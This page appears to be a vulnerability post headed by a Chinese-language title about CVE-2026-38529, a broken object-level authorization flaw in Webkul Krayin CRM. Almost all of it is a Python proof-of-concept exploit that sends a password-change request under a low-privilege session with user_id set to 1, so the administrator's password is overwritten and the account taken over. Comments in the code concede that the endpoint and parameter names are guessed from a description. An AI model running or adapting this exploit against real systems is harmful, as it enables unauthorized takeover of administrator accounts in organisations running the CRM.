CVE-2026-38529 Webkul Krayin CRM BOLA漏洞致账户接管

import requests # Target URL (Example based on description) target_url = "http://target-host/Settings/UserController.php/update-password" # Attacker's session cookie (Low privilege user) cookies = { "laravel_session": "attacker_session_token_here" } # Payload exploiting BOLA: Changing 'user_id' to target admin ID # The actual parameter names might differ based on the framework implementation payload = { "user_id": "1", # ID of the admin user to takeover "password": "NewHackedPassword123!", "password_confirmation": "NewHackedPassword123!" } try: # Sending the request with low privilege session but targeting admin user response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Password reset for user_id 1.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")